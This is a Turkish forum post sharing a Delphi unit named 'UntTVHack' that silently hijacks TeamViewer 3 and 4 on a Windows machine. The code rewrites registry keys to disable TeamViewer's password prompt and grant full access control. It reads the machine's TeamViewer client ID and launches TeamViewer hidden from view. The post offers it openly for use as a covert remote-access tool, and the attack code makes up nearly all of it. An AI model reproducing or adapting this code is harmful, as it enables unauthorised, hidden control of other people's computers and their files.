Neler yeni
Türkiye'nin En Güncel Forum Sitesi

Forum içeriğine ve tüm hizmetlerimize erişim sağlamak için foruma kayıt olmalı yada giriş yapmalısınız. Forum üye olmak tamamen ücretsizdir.

Delphi Cool Teamviewer 3-4 un ekranı görünmeden parola sordurmadan açmak

ByOnur58

Kayıtlı Üye
MFC Üyesi
  • Üyelik Tarihi
    7 Ocak 2015
  • Mesajlar
    2,113
  • MFC Puanı
    10
  • MFC Seviyesi

Kod:
unit UntTVHack;
 
interface
 
Uses Windows,Registry,Sysutils,ShellAPI;
{------------------------------------------------------------------------------}
Procedure TVUnactivePassWD;
Procedure TVFullAccess;
Function TVID : Integer;
Function TVFormatIDToString(TID:Integer) : String;
Procedure RunTVHide;
Function TVCheckVersion : String;
Function TVGetFullVersion : String;
Function GetTVPath:String;
{------------------------------------------------------------------------------}
implementation
 
{------------------------------------------------------------------------------}
Const TeamViewer0 = 'SOFTWARE\TeamViewer';
{------------------------------------------------------------------------------}
 
{Get the TV Version------------------------------------------------------------}
Function TVCheckVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0,True);
If Reg.KeyExists('Version3') Then Result := '\Version3';
If Reg.KeyExists('Version4') Then Result := '\Version4';
If Not (Reg.KeyExists('Version4')) Or (Reg.KeyExists('Version3')) Then
Result := '[Not Installed]';
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{------------------------------------------------------------------------------}
 
{Get the Full TV Version------------------------------------------------------------}
Function TVGetFullVersion : String;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadString('Version');
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{------------------------------------------------------------------------------}
 
{This will unactive team viewer pass word protection O_o-----------------------}
Procedure TVUnactivePassWD;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Reg.WriteInteger('Security_PasswordStrength',3); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{------------------------------------------------------------------------------}
 
{This will give the full access of dekstop and files---------------------------}
Procedure TVFullAccess;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion+'\AccessControl',True);
Reg.WriteInteger('AC_Server_AccessControlType',0); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{------------------------------------------------------------------------------}
 
{This will give the Team Viewer ID---------------------------------------------}
Function TVID : Integer;
var Reg : TRegistry;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
Result := Reg.ReadInteger('ClientID'); // Disable Password query
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{------------------------------------------------------------------------------}
 
{This little function will format in String- the TeamViewer ID-----------------}
Function TVFormatIDToString(TID:Integer) : String;
Var bloc,bloc1,bloc2,bloc3:String;
Begin
bloc := IntToStr(TID);
{Parse ID------------------------}
bloc1 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc2 := Copy(bloc,1,3);
Delete(bloc,1,3);
bloc3 := Copy(bloc,1,3);
Delete(bloc,1,3);
{--------------------------------}
Result := bloc1+' '+bloc2+' '+bloc3;
End;
{------------------------------------------------------------------------------}
 
{Now Launch Team Viewer Hidely-------------------------------------------------}
Procedure RunTVHide;
var Reg : TRegistry;
    TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
ShellExecute(0,'open',PWideChar(TVPATH),nil,nil,SW_HIDE);
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
 
Function GetTVPath:String;
var Reg : TRegistry;
    TVPATH : String;
Begin
Reg := TRegistry.Create;
{---------------------------}
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey(TeamViewer0+TVCheckVersion,True);
TVPath := Reg.ReadString('Security_Application_Path'); // Get TV Path
{---------------------------}
Result := TVPath;
{---------------------------}
Reg.CloseKey;
Reg.Free;
End;
{------------------------------------------------------------------------------}
 
end.
 
Üst Alt